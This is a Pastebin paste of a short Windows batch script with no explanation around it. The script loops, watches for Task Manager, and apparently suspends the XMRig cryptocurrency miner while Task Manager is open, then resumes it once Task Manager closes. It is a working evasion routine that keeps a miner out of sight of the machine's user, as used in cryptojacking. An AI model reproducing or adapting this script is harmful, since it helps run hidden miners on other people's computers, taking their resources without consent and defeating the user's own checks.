Advertisement
Guest User

Untitled

a guest
Sep 14th, 2017
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @echo off
  2. set IR=0
  3. :begin                                      
  4. ping 192.168.0.0 -n 1 -w 1000 > nul
  5. tasklist /FI "IMAGENAME eq taskmgr.exe" 2>NUL | find /I /N "taskmgr.exe">NUL
  6. if "%ERRORLEVEL%"=="0" goto IsRunning
  7. if %IR% == 1 (
  8. echo just stopped
  9. pss -r xmrig.exe
  10. set IR=0
  11. goto begin
  12. )
  13. echo not running
  14. goto begin
  15. :IsRunning
  16. if %IR% == 1 (
  17. echo running.wait
  18. goto begin
  19. )
  20. echo running.first
  21. pss.exe xmrig.exe
  22. set IR=1
  23. goto begin
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement